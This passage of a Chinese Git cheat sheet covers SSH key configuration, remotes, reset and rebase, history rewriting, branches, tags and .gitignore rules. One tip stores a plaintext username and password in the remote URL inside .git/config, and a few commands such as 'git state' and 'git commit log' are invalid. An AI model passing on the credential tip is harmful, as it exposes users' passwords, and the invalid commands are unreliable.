`vim ~/.ssh/jslite_rsa.pub`   
打开公钥文件 `jslite_rsa.pub` ,并把内容复制至代码托管平台上   

"3.修改config文件"

`vim ~/.ssh/config` #修改config文件,如果没有创建 `config`  

```bash
Host jslite.github.com
  HostName github.com
  User git
  IdentityFile ~/.ssh/jslite_rsa

Host work.github.com
  HostName github.com
  # Port 服务器open-ssh端口(默认:22,默认时一般不写此行)
  # PreferredAuthentications 配置登录时用什么权限认证 
  #                          publickey|password publickey|keyboard-interactive等
  User git
  IdentityFile ~/.ssh/work_rsa
```

- `Host` 这里是个别名可以随便命名
- `HostName` 一般是网站如:`git@ss.github.com:username/repo.git` 填写 `github.com`
- `User` 通常填写`git`
- `IdentityFile` 使用的公钥文件地址

"4.测试"

```bash
ssh -T git@jslite.github.com  # `@`后面跟上定义的Host  
ssh -T work.github.com        # 通过别名测试
ssh -i ~/公钥文件地址 Host别名  # 如 ssh -i ~/.ssh/work_rsa work.github.com
```

"5.使用"

```bash
# 原来的写法
git clone git@github.com:<jslite的用户名>/learngit.git
# 现在的写法
git clone git@jslite.github.com:<jslite的用户名>/learngit.git
git clone git@work.github.com:<work的用户名>/learngit.git
```

"5.注意"

如果你修改了id_rsa的名字,你需要将ssh key添加到SSH agent中,如:

```bash
ssh-add ~/.ssh/jslite_rsa
ssh-add -l  # 查看所有的key
ssh-add -D  # 删除所有的key
ssh-add -d  ~/.ssh/jslite_rsa # 删除指定的key
```

</div>

!! 免密码登录远程服务器

:<div>


```bash
$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
```

编辑 `~/.ssh/config`

```bash
Host aliyun1
  HostName 192.168.182.112
  User root
  PreferredAuthentications publickey
  IdentityFile ~/.ssh/aliyunserver.key
```

上面配置完了,可以通过命令登录,不需要输入IP地址和密码 `ssh aliyun1`

</div>

!! https协议下提交代码免密码

:<div>


```bash
git clone https://github.com/username/rep.git
```

通过上面方式克隆可能需要密码,解决办法:进入当前克隆的项目 `vi rep/.git/config` 编辑 `config`, 按照下面方式修改,你就可以提交代码不用输入密码了。

```diff
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
[remote "origin"]
-	url = https://github.com/username/rep.git
+	url = https://用户名:密码@github.com/username/rep.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
```

</div>

!! 文件推向3个git库

:<div>


"1. 增加3个远程库地址"

```bash
git remote add origin https://github.com/JSLite/JSLite.git  
git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git  
git remote set-url --add origin https://oschina.net/wang/JSLite.js.git  
```

"2. 删除其中一个 set-url 地址"

```bash
usage: git remote set-url [--push] <name> <newurl> [<oldurl>]
   or: git remote set-url --add <name> <newurl>
   or: git remote set-url --delete <name> <url>
```

`git remote set-url --delete origin https://oschina.net/wang/JSLite.js.git`

"3.推送代码"

```bash
git push origin master
git push -f origin master  # 强制推送  
```

"4.拉代码"

只能拉取 `origin` 里的一个url地址,这个fetch-url  
默认为你添加的到 `origin`的第一个地址  

```bash
git pull origin master   
git pull --all # 获取远程所有内容包括tag  
git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并  
git pull origin next # 远程分支是与当前分支合并  

# 上面一条命令等同于下面两条命令   
git fetch origin  
git merge origin/next  
```

如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。  
但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。  

```bash
$ git pull -p
# 等同于下面的命令
$ git fetch --prune origin 
$ git fetch -p
```

"5.更改pull"

只需要更改config文件里,那三个url的顺序即可,fetch-url会直接对应排行第一的那个utl连接。    


</div>

!! 修改远程仓库地址

:<div>


```bash
git remote remove origin  # 删除该远程路径  
git remote add origin git@jslite.github.com:JSLite/JSLite.git  # 添加远程路径 
```

</div>

!! 撤销远程记录

:<div>


```bash
git reset --hard HEAD~1 # 撤销一条记录   
git push -f origin HEAD:master # 同步到远程仓库  
```

</div>

!! 放弃本地的文件修改

:<div>


```bash
git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull
```

`git reset --hard FETCH_HEAD` 出现错误

```bash
git pull
You are not currently on a branch, so I cannot use any
'branch.<branchname>.merge' in your configuration file.
Please specify which remote branch you want to use on the command
line and try again (e.g. 'git pull <repository> <refspec>').
See git-pull(1) FOR details.
```

解决方法:

```bash
git checkout -b temp # 新建+切换到temp分支 
git checkout master
```

</div>

!! 最简单放弃本地修改内容

:<div>


```bash
# 如果有的修改以及加入暂存区的话
git reset --hard 
# 还原所有修改,不会删除新增的文件
git checkout . 
# 下面命令会删除新增的文件
git clean -xdf
```

通过存储暂存区stash,在删除暂存区的方法放弃本地修改。

```bash
git stash && git stash drop 
```

</div>

!! 回滚到某个commit提交

:<div>


```bash
git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑
git push # 提交回滚
```


</div>

!! 回退到某一个版本

:<div>


```bash
git reset --hard <hash>
# 例如 git reset --hard a3hd73r
# --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应,
# --soft参数代表保留工作区的修改。
```

</div>

!! 去掉某个commit

:<div>


```bash
# 实质是新建了一个与原来完全相反的commit,抵消了原来commit的效果
git revert <commit-hash> 
```

</div>

!! 新建一个空分支

:<div>


```bash
# 这种方式新建的分支(gh-pages)是没有 commit 记录的
git checkout --orphan gh-pages
# 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit
git rm -rf .
# 查看一下状态 有可能上面一条命令,没有删除还没有提交的的文件
git state 
```

</div>

!! 合并多个commit

:<div>


```bash
# 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。
# 将进入VIM界面,你可以修改提交信息。
git rebase -i HEAD~4 
# 可以看到其中分为两个部分,上方未注释的部分是填写要执行的指令,
# 而下方注释的部分则是指令的提示说明。指令部分中由前方的命令名称、commit hash 和 commit message 组成
# 当前我们只要知道 pick 和 squash 这两个命令即可。
# --> pick 的意思是要会执行这个 commit
# --> squash 的意思是这个 commit 会被合并到前一个commit

# 我们将 需要保留的 这个 commit 前方的命令改成 squash 或 s,然后输入:wq以保存并退出
# 这是我们会看到 commit message 的编辑界面

# 其中, 非注释部分就是两次的 commit message, 你要做的就是将这两个修改成新的 commit message。
# 
# 输入wq保存并推出, 再次输入git log查看 commit 历史信息,你会发现这两个 commit 已经合并了。
# 将修改强制推送到前端
git push -f origin master
```

</div>

!! 修改远程Commit记录

:<div>


```bash
git commit --amend
# amend只能修改没有提交到线上的,最后一次commit记录
git rebase -i HEAD~3
# 表示要修改当前版本的倒数第三次状态
# 将要更改的记录行首单词 pick 改为 edit
pick 96dc3f9 doc: Update quick-start.md
pick f1cce8a test(Transition):Add transition test (#47)
pick 6293516 feat(Divider): Add Divider component.
# Rebase eeb03a4..6293516 onto eeb03a4 (3 commands)
#
# Commands:
# p, pick = use commit
# r, reword = use commit, but edit the commit message
# e, edit = use commit, but stop for amending
# s, squash = use commit, but meld into previous commit
# f, fixup = like "squash", but discard this commit's log message
# x, exec = run command (the rest of the line) using shell
# d, drop = remove commit
```

保存并退出,会弹出下面提示

```bash
# You can amend the commit now, with
# 
#   git commit --amend
# 
# Once you are satisfied with your changes, run
# 
#   git rebase --continue

# 通过这条命令进入编辑页面更改commit,保存退出
git commit --amend
# 保存退出确认修改,继续执行 rebase, 
git rebase --continue
# 如果修改多条记录反复执行上面两条命令直到完成所有修改

# 最后,确保别人没有提交进行push,最好不要加 -f 强制推送
git push -f origin master
```



</div>

!! 添加忽略文件

:<div>


```
echo node_modules/ >> .gitignore
```

</div>

!! 利用commit关闭一个issue

:<div>


这个功能在Github上可以玩儿,Gitlab上特别老的版本不能玩儿哦,那么如何跟随着commit关闭一个issue呢? 在confirm merge的时候可以使用一下命令来关闭相关issue:  

`fixes #xxx`、 `fixed #xxx`、 `fix #xxx`、 `closes #xxx`、 `close #xxx`、 `closed #xxx`、

</div>

!! 同步fork的上游仓库

:<div>


[Github教程同步fork教程](https://help.github.com/articles/syncing-a-fork/),[在Github上同步一个分支(fork)](http://www.miss77.net/549.html)  

"设置添加多个远程仓库地址。"

在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。

```bash 
$ git remote -v
# List the current remotes (列出当前远程仓库)
# origin  https://github.com/user/repo.git (fetch)
# origin  https://github.com/user/repo.git (push)
$ git remote add upstream https://github.com/otheruser/repo.git
# Set a new remote (设置一个新的远程仓库)
$ git remote -v
# Verify new remote (验证新的原唱仓库)
# origin    https://github.com/user/repo.git (fetch)
# origin    https://github.com/user/repo.git (push)
# upstream  https://github.com/otheruser/repo.git (fetch)
# upstream  https://github.com/otheruser/repo.git (push)
```

"同步更新仓库内容"

同步上游仓库到你的仓库需要执行两步:首先你需要从远程拉去,之后你需要合并你希望的分支到你的本地副本分支。从上游的存储库中提取分支以及各自的提交内容。 `master` 将被存储在本地分支机构 `upstream/master`

```bash 
git fetch upstream
# remote: Counting objects: 75, done.
# remote: Compressing objects: 100% (53/53), done.
# remote: Total 62 (delta 27), reused 44 (delta 9)
# Unpacking objects: 100% (62/62), done.
# From https://github.com/ORIGINAL_OWNER/ORIGINAL_REPOSITORY
#  * [new branch]      master     -> upstream/master
```

检查你的 fork's 本地 `master` 分支

```bash 
git checkout master
# Switched to branch 'master'
```

合并来自 `upstream/master` 的更改到本地 master  分支上。  这使你的前 fork's `master` 分支与上游资源库同步,而不会丢失你本地修改。  

```bash 
git merge upstream/master
# Updating a422352..5fdff0f
# Fast-forward
#  README                    |    9 -------
#  README.md                 |    7 ++++++
#  2 files changed, 7 insertions(+), 9 deletions(-)
#  delete mode 100644 README
#  create mode 100644 README.md
```


</div>

!! 批量修改历史commit中的名字和邮箱

:<div>


"1.克隆仓库"

注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发

```bash
git clone --bare https://github.com/user/repo.git
cd repo.git
```

"2.命令行中运行代码"

OLD_EMAIL原来的邮箱  
CORRECT_NAME更正的名字  
CORRECT_EMAIL更正的邮箱  

将下面代码复制放到命令行中执行

```bash
git filter-branch -f --env-filter '
OLD_EMAIL="wowohoo@qq.com"
CORRECT_NAME="小弟调调"
CORRECT_EMAIL="更正的邮箱@qq.com"
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
then
    export GIT_COMMITTER_NAME="$CORRECT_NAME"
    export GIT_COMMITTER_EMAIL="$CORRECT_EMAIL"
fi
if [ "$GIT_AUTHOR_EMAIL" = "$OLD_EMAIL" ]
then
    export GIT_AUTHOR_NAME="$CORRECT_NAME"
    export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL"
fi
' --tag-name-filter cat -- --branches --tags
```

执行过程

```bash
Rewrite 160d4df2689ff6df3820563bfd13b5f1fb9ba832 (479/508) (16 seconds passed, remaining 0 predicted)
Ref 'refs/heads/dev' was rewritten
Ref 'refs/heads/master' was rewritten
```

"3.同步到远程仓库"

同步到push远程git仓库

```bash
git push --force --tags origin 'refs/heads/*'
```

我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。`Project(项目)`->`Setting`->`Repository` 菜单下面的`Protected branches`把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。

```bash
remote: GitLab: You are not allowed to force push code to a protected branch on this project.
```

当上面的push 不上去的时候,先 `git pull` 确保最新代码

```bash
git pull  --allow-unrelated-histories
# 或者指定分枝
git pull origin master --allow-unrelated-histories
```


</div>

!! 查看某个文件历史

:<div>


```bash
git log --pretty=oneline 文件名  # 列出文件的所有改动历史  
git show c178bf49   # 某次的改动的修改记录  
git log -p c178bf49 # 某次的改动的修改记录  
git blame 文件名     # 显示文件的每一行是在那个版本最后修改。  
git whatchanged 文件名  # 显示某个文件的每个版本提交信息:提交日期,提交人员,版本号,提交备注(没有修改细节)  
```

</div>

!! 打造自己的git命令

:<div>


```sh
git config --global alias.st status
git config --global alias.br branch
git config --global alias.co checkout
git config --global alias.ci commit
```

配置好后再输入git命令的时候就不用再输入一大段了,例如我们要查看状态,只需:

```sh
git st
```

</div>

!! 中文乱码的解决方案

:<div>


```bash
git config --global core.quotepath false
```

</div>

!! 新建仓库

:<div>


</div>

!! init

:<div>


`git init` #初始化  

</div>

!! status

:<div>


`git status` #获取状态  

</div>

!! add

:<div>


`git add file` # .或*代表全部添加  
`git rm --cached <added_file_to_undo>` # 在commit之前撤销git add操作  
`git reset head` # 好像比上面`git rm --cached`更方便  

</div>

!! commit

:<div>


`git commit -m "message"` #此处注意乱码  

</div>

!! remote

:<div>


`git remote add origin git@github.com:JSLite/test.git` #添加源  

</div>

!! push

:<div>


```bash
git push -u origin master # push同事设置默认跟踪分支  
git push origin master  
git push -f origin master # 强制推送文件,缩写 -f(全写--force)
```

</div>

!! clone

:<div>


`git clone git://github.com/JSLite/JSLite.js.git `  
`git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹  
`git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。  

git clone支持多种协议,除了HTTP(s)以外,还支持SSH、Git、本地文件协议等,下面是一些例子。`git clone <版本库的网址> <本地目录名>`  

```bash
$ git clone http[s]://example.com/path/to/repo.git/
$ git clone ssh://example.com/path/to/repo.git/
$ git clone git://example.com/path/to/repo.git/
$ git clone /opt/git/project.git 
$ git clone file:///opt/git/project.git
$ git clone ftp[s]://example.com/path/to/repo.git/
$ git clone rsync://example.com/path/to/repo.git/
```

</div>

!! 本地

:<div>


</div>

!! help

:<div>


```bash
git help config # 获取帮助信息  
```

</div>

!! add

:<div>


```bash
git add *   # 跟踪新文件   
git add -u [path]   # 添加[指定路径下]已跟踪文件   
```

</div>

!! rm

:<div>


```bash
rm *&git rm *          # 移除文件  
git rm -f *            # 移除文件  
git rm --cached *      # 取消跟踪  
git mv file_from file_to  # 重命名跟踪文件  
git log   # 查看提交记录  
```

</div>

!! commit

:<div>


```bash
git commit #提交更新   
git commit -m 'message' #提交说明   
git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交   
git commit --amend #修改最后一次提交   
git commit log #查看所有提交,包括没有push的commit    
git commit -m "#133" #关联issue 任意位置带上# 符号加上issue号码  
git commit -m "fix #133" commit关闭issue  
git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交简要描述和详细描述  
```

</div>

!! reset

:<div>


```bash
git reset HEAD *  # 取消已经暂存的文件   
git reset --mixed HEAD * # 同上   
git reset --soft HEAD *  # 重置到指定状态,不会修改索引区和工作树   
git reset --hard HEAD *  # 重置到指定状态,会修改索引区和工作树   
git reset -- files *     # 重置index区文件   
```

</div>

!! revert

:<div>


```bash
git revert HEAD   # 撤销前一次操作   
git revert HEAD~  # 撤销前前一次操作   
git revert commit # 撤销指定操作   
```

</div>

!! checkout

:<div>


```bash
git checkout -- file  # 取消对文件的修改(从暂存区——覆盖worktree file)  
git checkout branch|tag|commit -- file_name  # 从仓库取出file覆盖当前分支   
git checkout HEAD~1 [文件]  # 将会更新 working directory 去匹配某次 commit   
git checkout -- .          # 从暂存区取出文件覆盖工作区   
git checkout -b gh-pages  0c304c9  # 这个表示 从当前分支 commit 哈希值为 0c304c9 的节点,分一个新的分支gh-pages出来,并切换到 gh-pages   
```

</div>

!! diff

:<div>


```bash
git diff file     # 查看指定文件的差异   
git diff --stat   # 查看简单的diff结果   
git diff  # 比较Worktree和Index之间的差异   
git diff --cached   # 比较Index和HEAD之间的差异   
git diff HEAD       # 比较Worktree和HEAD之间的差异   
git diff branch     # 比较Worktree和branch之间的差异   
git diff branch1 branch2  # 比较两次分支之间的差异   
git diff commit commit    # 比较两次提交之间的差异   
git diff master..test   # 上面这条命令只显示两个分支间的差异  
git diff master...test    # 你想找出‘master’,‘test’的共有 父分支和'test'分支之间的差异,你用3个‘.'来取代前面的两个'.'  
```

</div>

!! stash

:<div>


```bash
git stash # 将工作区现场(已跟踪文件)储藏起来,等以后恢复后继续工作。   
git stash list  # 查看保存的工作现场   
git stash apply # 恢复工作现场   
git stash drop  # 删除stash内容   
git stash pop   # 恢复的同时直接删除stash内容   
git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只一份工作现场时。   
```

</div>

!! merge

:<div>


```bash
git merge --squash test # 合并压缩,将test上的commit压缩为一条   
```

</div>

!! cherry-pick

:<div>


```bash
git cherry-pick commit    # 拣选合并,将commit合并到当前分支   
git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交   
```

</div>

!! rebase

:<div>


```bash
git rebase master   # 将master分之上超前的提交,变基到当前分支  
git rebase --onto master 169a6  # 限制回滚范围,rebase当前分支从169a6以后的提交  
git rebase --interactive # 交互模式,修改commit   
git rebase --continue    # 处理完冲突继续合并   
git rebase --skip        # 跳过   
git rebase --abort       # 取消合并    
```

</div>

!! 分支branch

:<div>


</div>

!! 删除

:<div>


```bash
git push origin :branchName  # 删除远程分支  
git push origin --delete new # 删除远程分支new   
git branch -d branchName     # 删除本地分支,强制删除用-D  
git branch -d test      # 删除本地test分支   
git branch -D test      # 强制删除本地test分支   
git remote prune origin # 远程删除了,本地还能看到远程存在,这条命令删除远程不存在的分支
```

</div>

!! 提交

:<div>


```bash
git push -u origin branchName # 提交分支到远程origin主机中  
```

</div>

!! 拉取

:<div>


`git fetch -p` #拉取远程分支时,自动清理 远程分支已删除,本地还存在的对应同名分支。  

</div>

!! 分支合并

:<div>


```bash
git merge branchName      # 合并分支 - 将分支branchName和当前所在分支合并   
git merge origin/master   # 在本地分支上合并远程分支。   
git rebase origin/master  # 在本地分支上合并远程分支。   
git merge test            # 将test分支合并到当前分支   
```

</div>

!! 重命名

:<div>


`git branch -m old new` #重命名分支  

</div>

!! 查看

:<div>


```bash
git branch      # 列出本地分支   
git branch -r   # 列出远端分支   
git branch -a   # 列出所有分支   
git branch -v   # 查看各个分支最后一个提交对象的信息   
git branch --merge      # 查看已经合并到当前分支的分支   
git branch --no-merge   # 查看为合并到当前分支的分支   
git remote show origin  # 可以查看remote地址,远程分支
```

</div>

!! 新建

:<div>


```bash
git branch test # 新建test分支  
git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach
git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支  
git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支,并切换到该分支
```

</div>

!! 连接

:<div>


```bash
git branch --set-upstream dev origin/dev     # 将本地dev分支与远程dev分支之间建立链接  
git branch --set-upstream master origin/next # 手动建立追踪关系  
```

</div>

!! 分支切换

:<div>


```bash
git checkout test     # 切换到test分支   
git checkout -b test  # 新建+切换到test分支   
git checkout -b test dev # 基于dev新建test分支,并切换   
```

</div>

!! 远端

:<div>


```bash
git fetch <远程主机名> <分支名>   # fetch取回所有分支(branch)的更新  
git fetch origin remotebranch[:localbranch]   #  从远端拉去分支[到本地指定分支]   
git merge origin/branch   # 合并远端上指定分支   
git pull origin remotebranch:localbranch  #  拉去远端分支到本地分支   
git push origin branch    # 将当前分支,推送到远端上指定分支   
git push origin localbranch:remotebranch  # 推送本地指定分支,到远端上指定分支   
git push origin :remotebranch   # 删除远端指定分支   
git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地test分支[同时设置跟踪]  
```

</div>

!! submodule

:<div>


克隆项目同时克隆submodule

```bash
git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules
```

克隆项目,之后再手动克隆 submodule 子项目

```bash
git submodule add --force '仓库地址' '路径'
# 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。
# 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone)
git submodule init # 初始化submodule
git submodule update # 更新submodule(必须在根目录执行命令)
git submodule update --init --recursive  # 下载的工程带有submodule
```

当使用`git clone`下来的工程中带有submodule时,初始的时候,submodule的内容并不会自动下载下来的,此时,只需执行如下命令:

```bash
git submodule foreach git pull  # submodule 里有其他的 submodule 一次更新
git submodule foreach git pull origin master # submodule更新

git submodule foreach --recursive git submodule init
git submodule foreach --recursive git submodule update
```

</div>

!! 删除文件

:<div>


```bash
git rm -rf node_modules/
```

</div>

!! remote

:<div>


git是一个分布式代码管理工具,所以可以支持多个仓库,在git里,服务器上的仓库在本地称之为remote。个人开发时,多源用的可能不多,但多源其实非常有用。  

```bash
git remote add origin1 git@github.com:yanhaijing/data.js.git  
git remote    # 显示全部源  
git remote -v # 显示全部源+详细信息  
git remote rename origin1 origin2 # 重命名  
git remote rm origin    # 删除  
git remote show origin  # 查看指定源的全部信息  
```

</div>

!! 标签tag

:<div>


当开发到一定阶段时,给程序打标签是非常棒的功能。  

```bash
git tag -a v0.1 -m 'my version 1.4' # 新建带注释标签   
git push origin --tags              # 一次性推送所有分支 
git push origin v1.5                # 推送单个tag到orgin源上 
git tag -v v1.4.2.1                 # 验证标签,验证已经签署的标签
git show v1.5                       # 看到对应的 GPG 签

git tag        # 列出现有标签   
git tag v0gi.1 # 新建标签   
git checkout tagname   # 切换到标签       
git tag -d v0.1 # 删除标签   
git push origin :refs/tags/v0.1 # 删除远程标签   
git pull --all # 获取远程所有内容包括tag  
git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信息  
```

</div>

!! 日志log

:<div>


```bash
git config format.pretty oneline  #显示历史记录时,每个提交的信息只显示一行   
git config color.ui true #彩色的 git 输出   
git log #查看最近的提交日志   
git log --pretty=oneline #单行显示提交日志   
git log --graph --pretty=oneline --abbrev-commit   
git log -num #显示第几条log(倒数)   
git reflog #查看所有分支的所有操作记录   
git log --since=1.day #一天内的提交;你可以给出各种时间格式,比如说具体的某一天(“2008-01-15”),或者是多久以前(“2 years 1 day 3 minutes ago”)。   
git log --pretty="%h - %s" --author=自己的名字 #查看自己的日志   
git log -p -2 #展开两次更新显示每次提交的内容差异   
git log --stat #要快速浏览其他协作者提交的更新都作了哪些改动   
git log --pretty=format:"%h - %an, %ar : %s"#定制要显示的记录格式   
git log --pretty=format:'%h : %s' --date-order --graph # 拓扑顺序展示   
git log --pretty=format:'%h : %s - %ad' --date=short #日期YYYY-MM-DD显示   
git log <last tag> HEAD --pretty=format:%s # 只显示commit   
git config --global format.pretty '%h : %s - %ad' --date=short #日期YYYY-MM-DD显示 写入全局配置
```

|选项 | 说明|选项 | 说明|
|----|----|----|----|
|%H  |提交对象(commit)的完整哈希字串 |%ad |作者修订日期(可以用 -date= 选项定制格式)|
|%h  |提交对象的简短哈希字串 |%ar |作者修订日期,按多久以前的方式显示|
|%T  |树对象(tree)的完整哈希字串 |%cn |提交者(committer)的名字|
|%t  |树对象的简短哈希字串 |%ce |提交者的电子邮件地址|
|%P  |父对象(parent)的完整哈希字串 |%cd |提交日期|
|%p  |父对象的简短哈希字串 |%cr |提交日期,按多久以前的方式显示|
|%an |作者(author)的名字 |%s  |提交说明|
|%ae |作者的电子邮件地址| - | - |

[Pretty Formats](https://git-scm.com/docs/git-log#_pretty_formats)

</div>

!! 重写历史

:<div>


```bash
git commit --amend    # 改变最近一次提交  
git rebase -i HEAD~3  # 修改最近三次的提交说明,或者其中任意一次  
git commit --amend    # 保存好了,这些指示很明确地告诉了你该干什么  
git rebase --continue # 修改提交说明,退出编辑器。  
```

```bash
pick f7f3f6d changed my name a bit
pick 310154e updated README formatting and added blame
pick a5f4a0d added cat-file
```

改成

```
pick 310154e updated README formatting and added blame
pick f7f3f6d changed my name a bit
```

</div>

!! 删除仓库

:<div>


```
cd ..
rm -rf repo.git
```

[Github官方教程](https://help.github.com/articles/changing-author-info/)

</div>

!! 其它

:<div>


```bash
git help *  # 获取命令的帮助信息  
git status  # 获取当前的状态,非常有用,因为git会提示接下来的能做的操作  
```


</div>

!! 报错问题解决

:<div>


"1. `git fatal: protocol error: bad line length character: No s`"

解决办法:更换remote地址为 `http/https` 的  

"2. `The requested URL returned error: 403 Forbidden while accessing`"

解决github push错误的办法:

```bash
#vim 编辑器打开 当前项目中的config文件
vim .git/config

#修改
[remote "origin"]  
    url = https://github.com/jaywcjlove/example.git  

#为下面代码
[remote "origin"]  
    url = https://jaywcjlove@github.com/jaywcjlove/example.git  
```

"3. git status 显示中文问题"

在查看状态的时候 git status 如果是中文就显示下面的情况

```bash
\344\272\247\345\223\201\351\234\200\346\261\202
```

解决这个问题方法是:

```bash
git config --global core.quotepath false
```

</div>

!! 参考资料

:<div>


- [Git官网](http://git-scm.com/)
- ["Github 15分钟学习Git"](https://try.github.io)
- [Git参考手册](http://gitref.org/zh/index.html)
- [Git简明手册](http://www.mceiba.com/tool/git-cheat-sheet.html)
- [Git Magic](http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn/)
- [Git Community Book 中文版](http://gitbook.liuhui998.com/index.html)
- [Pro Git](http://git-scm.com/book/en/v2)
- [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
- [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html)
- [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/)
- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) 
- [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000)
- [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/)
- [git详解](http://www.open-open.com/lib/view/open1328069609436.html)
- [oschina教程](http://git.oschina.net/progit/)
- [How to undo (almost) anything with Git撤销一切,汇总各种回滚撤销的场景,加强学习。](https://github.com/blog/2019-how-to-undo-almost-anything-with-git)
- [Git 教程 | 菜鸟教程runoob.com](http://www.runoob.com/git/git-tutorial.html)
- [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6)
- [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710)
- [Git进阶用法,主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email)

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
在使用Git的过程中,我们喜欢有的文件比如日志,临时文件,编译的中间文件等不要提交到代码仓库,这时就要设置相应的忽略规则,来忽略这些文件的提交。简单来说一个场景:在你使用git add .的时候,遇到了把你不想提交的文件也添加到了缓存中去的情况,比如项目的本地配置信息,如果你上传到Git中去其他人pull下来的时候就会和他本地的配置有冲突,所以这样的个性化配置文件我们一般不把它推送到git服务器中,但是又为了偷懒每次添加缓存的时候都想用git add .而不是手动一个一个文件添加,该怎么办呢?很简单,git为我们提供了一个.gitignore文件只要在这个文件中申明那些文件你不希望添加到git中去,这样当你使用git add .的时候这些文件就会被自动忽略掉。

!!有三种方法可以实现忽略Git中不想提交的文件:
!!!1)在Git项目中定义.gitignore文件
对于经常使用Git的朋友来说,.gitignore配置一定不会陌生。这种方式通过在项目的某个文件夹下定义.gitignore文件,在该文件中定义相应的忽略规则,来管理当前文件夹下的文件的Git提交行为。.gitignore 文件是可以提交到公有仓库中,这就为该项目下的所有开发者都共享一套定义好的忽略规则。在.gitingore 文件中,遵循相应的语法,在每一行指定一个忽略规则。如:

```
*.log
*.temp
/vendor
```

!!!2)在Git项目的设置中指定排除文件
这种方式只是临时指定该项目的行为,需要编辑当前项目下的 .git/info/exclude文件,然后将需要忽略提交的文件写入其中。需要注意的是,这种方式指定的忽略文件的根目录是项目根目录。

!!!3)定义Git全局的 .gitignore 文件
除了可以在项目中定义 .gitignore 文件外,还可以设置全局的git .gitignore文件来管理所有Git项目的行为。这种方式在不同的项目开发者之间是不共享的,是属于项目之上Git应用级别的行为。这种方式也需要创建相应的 .gitignore 文件,可以放在任意位置。然后在使用以下命令配置Git:

```
# git config --global core.excludesfile ~/.gitignore
```
首先要强调一点,`这个文件的完整文件名就是".gitignore",注意最前面有个“.”`。一般来说每个Git项目中都需要一个“.gitignore”文件,这个文件的作用就是告诉Git哪些文件不需要添加到版本管理中。实际项目中,很多文件都是不需要版本管理的,比如Python的.pyc文件和一些包含密码的配置文件等等。这个文件的内容是一些规则,Git会根据这些规则来判断是否将文件添加到版本控制中。

!!Git忽略文件的原则
:忽略操作系统自动生成的文件,比如缩略图等;
:忽略编译生成的中间文件、可执行文件等,也就是如果一个文件是通过另一个文件自动生成的,那自动生成的文件就没必要放进版本库,比如Java编译产生的.class文件;
:忽略你自己的带有敏感信息的配置文件,比如存放口令的配置文件。

!!.gitignore文件的使用方法
:首先,在你的工作区新建一个名称为.gitignore的文件。
:然后,把要忽略的文件名填进去,Git就会自动忽略这些文件。
:不需要从头写.gitignore文件,GitHub已经为我们准备了各种配置文件,只需要组合一下就可以使用了。

有时对于git项目下的某些文件,我们不需要纳入版本控制,比如日志文件或者IDE的配置文件,此时可以在项目的根目录下建立一个隐藏文件 .gitignore(linux下以.开头的文件都是隐藏文件),然后在.gitignore中写入需要忽略的文件。

```
[root@kevin ~]# cat .gitignore
*.xml
*.log
*.apk
```
.gitignore注释用'#', *表示匹配0个或多个任意字符,所以上面的模式就是要忽略所有的xml文件,log文件和apk文件。

.gitignore配置文件用于配置不需要加入版本管理的文件,配置好该文件可以为版本管理带来很大的便利。

!!.gitignore忽略规则的优先级
在 .gitingore 文件中,每一行指定一个忽略规则,Git检查忽略规则的时候有多个来源,它的优先级如下(由高到低):
:1)从命令行中读取可用的忽略规则
:2)当前目录定义的规则
:3)父级目录定义的规则,依次递推
:4)$GIT_DIR/info/exclude 文件中定义的规则
:5)core.excludesfile中定义的全局规则

!!.gitignore忽略规则的匹配语法
